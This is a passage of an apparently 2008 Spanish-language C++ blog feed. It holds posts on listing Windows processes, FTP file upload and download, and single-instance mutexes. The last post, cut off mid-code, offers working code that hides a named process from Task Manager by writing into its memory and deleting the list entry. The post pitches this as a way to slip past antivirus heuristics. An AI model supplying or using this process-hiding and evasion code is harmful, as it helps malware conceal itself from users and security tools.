&#160; &#160; &#160; &#160;if &#40; !EnumProcesses&#40; Procesos, sizeof&#40;Procesos&#41;, &#38;amp;PN &#41; &#41;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;return;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;cProcesos [...]]]></description>
			<content:encoded><![CDATA[<p>Codigo fuente en C++ para listar los procesos de Windows.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span><br />
<span class="co2">#include &lt;psapi.h&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span></p>
<p><span class="coMULTI">/*<br />
/* Listar procesos C++<br />
/* &nbsp;By Octalh<br />
/* www.aztekmindz.org<br />
/*<br />
*/</span></p>
<p>using namespace std;</p>
<p><span class="kw4">void</span> procesos<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>DWORD Procesos<span class="br0">&#91;</span><span class="nu0">200</span><span class="br0">&#93;</span>, PN, cProcesos;<br />
<span class="kw4">unsigned</span> <span class="kw4">int</span> i;<br />
TCHAR procsnombre<span class="br0">&#91;</span><span class="nu0">200</span><span class="br0">&#93;</span> = TEXT<span class="br0">&#40;</span><span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span> !EnumProcesses<span class="br0">&#40;</span> Procesos, <span class="kw4">sizeof</span><span class="br0">&#40;</span>Procesos<span class="br0">&#41;</span>, &amp;amp;PN <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cProcesos = PN / <span class="kw4">sizeof</span><span class="br0">&#40;</span>DWORD<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span> i = <span class="nu0">0</span>; i &lt; cProcesos; i++ <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HANDLE hProcesos = OpenProcess<span class="br0">&#40;</span> PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, <span class="kw2">FALSE</span>, Procesos<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw2">NULL</span> != hProcesos <span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetModuleBaseName<span class="br0">&#40;</span> hProcesos, <span class="kw2">NULL</span>, procsnombre, <span class="kw4">sizeof</span><span class="br0">&#40;</span>procsnombre<span class="br0">&#41;</span>/<span class="kw4">sizeof</span><span class="br0">&#40;</span>TCHAR<span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot; &nbsp;%s, PID = %u <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>, procsnombre, Procesos<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle<span class="br0">&#40;</span> hProcesos <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; procesos<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p><a title="Descargar Programa" href="http://www.aztekmindz.org/wp-content/uploads/2008/07/lprovesos.zip"><span style="color: #ff0000;">Descargar Programa compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/10/listar-procesos-en-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Subir / Descargar archivos por FTP C++</title>
		<link>http://www.aztekmindz.org/2008/07/07/subir-descargar-archivos-por-ftp-c/</link>
		<comments>http://www.aztekmindz.org/2008/07/07/subir-descargar-archivos-por-ftp-c/#comments</comments>
		<pubDate>Mon, 07 Jul 2008 07:04:19 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=55</guid>
		<description><![CDATA[Código fuente para Subir o Bajar ( upload / download ) archivos por FTP usando la librería wininet.
El código es muy fácil de entender por lo que no puse comentarios esta ves.
#include &#60;cstdlib&#62;
#include &#60;stdio.h&#62;
#include &#60;wininet.h&#62;
using namespace std;
/*
/* Ejemplo Subir / Descargar archivos via FTP C++
/* By Octalh [octalh@gmail.com]
/* www.aztekmindz.org
*/
int SubirFTP&#40;char *servidor, char *usuario, char *password,
int [...]]]></description>
			<content:encoded><![CDATA[<p>Código fuente para Subir o Bajar ( upload / download ) archivos por FTP usando la librería wininet.<br />
El código es muy fácil de entender por lo que no puse comentarios esta ves.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;wininet.h&gt;</span><br />
using namespace std;<br />
<span class="coMULTI">/*<br />
/* Ejemplo Subir / Descargar archivos via FTP C++<br />
/* By Octalh [octalh@gmail.com]<br />
/* www.aztekmindz.org<br />
*/</span></p>
<p><span class="kw4">int</span> SubirFTP<span class="br0">&#40;</span><span class="kw4">char</span> *servidor, <span class="kw4">char</span> *usuario, <span class="kw4">char</span> *password,<br />
<span class="kw4">int</span> puerto, <span class="kw4">char</span> *ALocal, <span class="kw4">char</span> *ARemoto<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; HINTERNET Peticion;<br />
&nbsp; &nbsp; Peticion =InternetOpen<span class="br0">&#40;</span><span class="st0">&quot;Internet Explorer&quot;</span>,<span class="nu0">0</span>,<span class="kw2">NULL</span>,<span class="kw2">NULL</span>,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>Peticion==<span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;HINTERNET Conectar;<br />
&nbsp; &nbsp; &nbsp; &nbsp;Conectar = InternetConnect<span class="br0">&#40;</span>Peticion,servidor,puerto,<br />
&nbsp; &nbsp; &nbsp; &nbsp;usuario,password,INTERNET_SERVICE_FTP,<span class="nu0">0</span>,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span>Conectar==<span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InternetCloseHandle<span class="br0">&#40;</span>Conectar<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>FtpPutFile<span class="br0">&#40;</span>Conectar,ALocal,ARemoto,FTP_TRANSFER_TYPE_BINARY,<span class="nu0">0</span><span class="br0">&#41;</span>==<span class="kw2">FALSE</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InternetCloseHandle<span class="br0">&#40;</span>Peticion<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InternetCloseHandle<span class="br0">&#40;</span>Conectar<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p><span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> BajarFTP<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SubirFTP<span class="br0">&#40;</span><span class="st0">&quot;Servidorftp.com&quot;</span>, <span class="st0">&quot;usuario&quot;</span>,<span class="st0">&quot;password&quot;</span>,<span class="nu0">21</span>,<span class="st0">&quot;local.txt&quot;</span>,<span class="st0">&quot;remoto.txt&quot;</span><span class="br0">&#41;</span>==<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span> Archivo Subido Con Exito. <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span> Error al Subir el Archivo. <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; system<span class="br0">&#40;</span><span class="st0">&quot;PAUSE&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
<span class="br0">&#125;</span></div>
<p>Para hacer la funcion que Descarga un archivo del servidor FTP simplemente cambiamos la funcion<span style="color: #ff0000;"> &#8220;FtpPutFile&#8221;</span> por la funcion <span style="color: #ff0000;">&#8220;</span><span style="color: #ff0000;">FtpGetFile</span><span style="color: #ff0000;">&#8220;</span></p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">if</span><span class="br0">&#40;</span>FtpGetFile<span class="br0">&#40;</span>Conectar,ARemoto,ALocal,FTP_TRANSFER_TYPE_BINARY,<span class="nu0">0</span><span class="br0">&#41;</span>==<span class="kw2">FALSE</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
<p>Ya solo quedaría editar la función principal pero eso lo haces muy rápido y no creo que halla necesidad de explicarlo <img src='http://www.aztekmindz.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/07/subir-descargar-archivos-por-ftp-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mutex C++</title>
		<link>http://www.aztekmindz.org/2008/07/02/mutex-c/</link>
		<comments>http://www.aztekmindz.org/2008/07/02/mutex-c/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 04:34:33 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=46</guid>
		<description><![CDATA[Básicamente nos sirve para evitar que nuestra aplicación (programa) se ejecute más de una vez, esto nos puede ser bastante útil cuando agregamos distintos métodos de inicio a nuestro programa y solo queremos que se ejecute una sola vez.
Otra ventaja del Mutex es que no importa el nombre que tenga nuestro programa,  es decir [...]]]></description>
			<content:encoded><![CDATA[<p>Básicamente nos sirve para evitar que nuestra aplicación (programa) se ejecute más de una vez, esto nos puede ser bastante útil cuando agregamos distintos métodos de inicio a nuestro programa y solo queremos que se ejecute una sola vez.</p>
<p>Otra ventaja del Mutex es que no importa el nombre que tenga nuestro programa,  es decir si tu programa se llama pepe.exe y haces una copia de el con el nombre pedro.exe, solo uno de los dos se podrá ejecutar.</p>
<p>Codigo fuente de un Mutex en C++</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;windows.h&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;conio.h&gt;</span><br />
using namespace std;</p>
<p><span class="coMULTI">/*<br />
/* &nbsp; &nbsp;Codigo fuente de ejemplo Mutex<br />
/* &nbsp; &nbsp;Elaborado para www.aztekmindz.org by Octalh<br />
/* &nbsp; &nbsp;[ octalh@gmail.com ]<br />
*/</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; CreateMutex<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="nu0">0</span>,<span class="st0">&quot;-+- Mutex AzTeK-MiNdZ -+-&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Creamos el Mutex</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span> == ERROR_ALREADY_EXISTS<span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">// Si ya existe&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ExitProcess<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Cerramos aplicacion</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span> <span class="co1">// De lo contrario&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Ejecutamos resto del Programa</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span> &nbsp;&lt;&lt; MUTEX [ www.aztekmindz.org ] &gt;&gt;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span> <span class="es0">\t</span> Esta aplicacion solo se puede ejecutar una sola ves. <span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; getch<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EXIT_SUCCESS;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p><a title="Descargar Ejemplo" href="http://www.aztekmindz.org/wp-content/uploads/2008/07/mutex.zip"><span style="color: #ff0000;">Descargar Programa Compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/07/02/mutex-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ocultar proceso en el Administrador de Tareas (Task Manager) en C++</title>
		<link>http://www.aztekmindz.org/2008/06/29/ocultar-proceso-en-el-administrador-de-tareas-task-manager-en-c/</link>
		<comments>http://www.aztekmindz.org/2008/06/29/ocultar-proceso-en-el-administrador-de-tareas-task-manager-en-c/#comments</comments>
		<pubDate>Sun, 29 Jun 2008 20:47:22 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=44</guid>
		<description><![CDATA[Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.
Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.
/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado [...]]]></description>
			<content:encoded><![CDATA[<p>Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.</p>
<p>Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="coMULTI">/*<br />
[ Programa ]<br />
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.<br />
By Octalh<br />
Testeado en Windows XP SP2<br />
octalh@gmail.com<br />
www.aztekmindz.org<br />
*/</span></p>
<p>using namespace std;</p>
<p>LVITEM ItemLista, *_ItemLista;<br />
<span class="kw4">char</span> item<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span>, subitem<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span>;<br />
<span class="kw4">char</span> *_item, *_subitem;<br />
<span class="kw4">unsigned</span> <span class="kw4">long</span> pid;<br />
HANDLE HProceso;<br />
<span class="kw4">char</span> ExeProc<span class="br0">&#91;</span><span class="nu0">50</span><span class="br0">&#93;</span>; <span class="co1">//Proceso a ocultar</span></p>
<p>BOOL CALLBACK PrOcultar<span class="br0">&#40;</span>HWND hwnd,LPARAM lParam<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw4">char</span> HLista<span class="br0">&#91;</span><span class="nu0">150</span><span class="br0">&#93;</span> = <span class="st0">&quot;&quot;</span>;<br />
&nbsp; &nbsp;<span class="kw4">char</span> HAdminT<span class="br0">&#91;</span><span class="nu0">150</span><span class="br0">&#93;</span> = <span class="st0">&quot;&quot;</span>;</p>
<p>&nbsp; &nbsp;GetWindowText<span class="br0">&#40;</span>hwnd,HAdminT,<span class="nu0">149</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;GetClassName<span class="br0">&#40;</span>hwnd,HLista,<span class="nu0">249</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>strstr<span class="br0">&#40;</span>HAdminT,<span class="st0">&quot;Procesos&quot;</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; strstr<span class="br0">&#40;</span>HLista,<span class="st0">&quot;SysListView32&quot;</span><span class="br0">&#41;</span> !=<span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp;<span class="coMULTI">/* Si encontramos la columna &quot;Procesos&quot; en el Taskmanager y la clase &quot;SysListView32&quot;<br />
&nbsp; &nbsp; &nbsp; de la listvew<br />
&nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw4">int</span> count=<span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>SendMessage<span class="br0">&#40;</span>hwnd, LVM_GETITEMCOUNT, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Contamos los Items listados</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw4">int</span> i;<br />
&nbsp; &nbsp; &nbsp; GetWindowThreadProcessId<span class="br0">&#40;</span>hwnd, &amp;amp;pid<span class="br0">&#41;</span>; <span class="co1">//Obtenemos el Pid de cada Proceso listado como Item</span><br />
&nbsp; &nbsp; &nbsp; HProceso=OpenProcess<span class="br0">&#40;</span>PROCESS_VM_OPERATION|PROCESS_VM_READ|<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, <span class="kw2">FALSE</span>, pid<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Obtenemos el Hndle del proceso como Item de la Listvew</span></p>
<p>&nbsp; &nbsp; &nbsp; _ItemLista=<span class="br0">&#40;</span>LVITEM*<span class="br0">&#41;</span>VirtualAllocEx<span class="br0">&#40;</span>HProceso, <span class="kw2">NULL</span>, <span class="kw4">sizeof</span><span class="br0">&#40;</span>LVITEM<span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MEM_COMMIT, PAGE_READWRITE<span class="br0">&#41;</span>; <span class="co1">// Asiganos permisos de lectura y escritura al Listvew</span><br />
&nbsp; &nbsp; &nbsp; _item=<span class="br0">&#40;</span><span class="kw4">char</span>*<span class="br0">&#41;</span>VirtualAllocEx<span class="br0">&#40;</span>HProceso, <span class="kw2">NULL</span>, <span class="nu0">512</span>, MEM_COMMIT,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_READWRITE<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; _subitem=<span class="br0">&#40;</span><span class="kw4">char</span>*<span class="br0">&#41;</span>VirtualAllocEx<span class="br0">&#40;</span>HProceso, <span class="kw2">NULL</span>, <span class="nu0">512</span>, MEM_COMMIT,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PAGE_READWRITE<span class="br0">&#41;</span>; <span class="co1">// Asiganos Lectura y Escritura en la region asiganda</span></p>
<p>&nbsp; &nbsp; &nbsp; ItemLista.<span class="me1">cchTextMax</span>=<span class="nu0">512</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">for</span><span class="br0">&#40;</span>i=<span class="nu0">0</span>; i&lt;count; i++<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Contamos cada Item en un Bucle</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ItemLista.<span class="me1">iSubItem</span>=<span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ItemLista.<span class="me1">pszText</span>=_item;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WriteProcessMemory<span class="br0">&#40;</span>HProceso, _ItemLista, &amp;amp;ItemLista, <span class="kw4">sizeof</span><span class="br0">&#40;</span>LVITEM<span class="br0">&#41;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SendMessage<span class="br0">&#40;</span>hwnd, LVM_GETITEMTEXT, <span class="br0">&#40;</span>WPARAM<span class="br0">&#41;</span>i, <span class="br0">&#40;</span>LPARAM<span class="br0">&#41;</span>_ItemLista<span class="br0">&#41;</span>; <span class="co1">// Obtenemos el nombre de cada Item (Proceso)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ItemLista.<span class="me1">iSubItem</span>=<span class="nu0">1</span>; <span class="co1">// Posicion de la columna en el listview</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ItemLista.<span class="me1">pszText</span>=_subitem;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WriteProcessMemory<span class="br0">&#40;</span>HProceso, _ItemLista, &amp;amp;ItemLista, <span class="kw4">sizeof</span><span class="br0">&#40;</span>LVITEM<span class="br0">&#41;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SendMessage<span class="br0">&#40;</span>hwnd, LVM_GETITEMTEXT, <span class="br0">&#40;</span>WPARAM<span class="br0">&#41;</span>i, <span class="br0">&#40;</span>LPARAM<span class="br0">&#41;</span>_ItemLista<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ReadProcessMemory<span class="br0">&#40;</span>HProceso, _item, item, <span class="nu0">512</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ReadProcessMemory<span class="br0">&#40;</span>HProceso, _subitem, subitem, <span class="nu0">512</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>strstr<span class="br0">&#40;</span>item,ExeProc<span class="br0">&#41;</span> != <span class="kw2">NULL</span><span class="br0">&#41;</span> &nbsp;SendMessage<span class="br0">&#40;</span>hwnd, LVM_DELETEITEM, <span class="br0">&#40;</span>WPARAM<span class="br0">&#41;</span>i, <span class="br0">&#40;</span>LPARAM<span class="br0">&#41;</span>_ItemLista<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew</span><br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; VirtualFreeEx<span class="br0">&#40;</span>HProceso, _ItemLista, <span class="nu0">0</span>, MEM_RELEASE<span class="br0">&#41;</span>; <span class="co1">// Libreamos&#8230;</span><br />
&nbsp; &nbsp; &nbsp; VirtualFreeEx<span class="br0">&#40;</span>HProceso, _item, <span class="nu0">0</span>, MEM_RELEASE<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; VirtualFreeEx<span class="br0">&#40;</span>HProceso, _subitem, <span class="nu0">0</span>, MEM_RELEASE<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">FALSE</span>;<br />
&nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw1">return</span> <span class="kw2">TRUE</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp;HWND fwindow;<br />
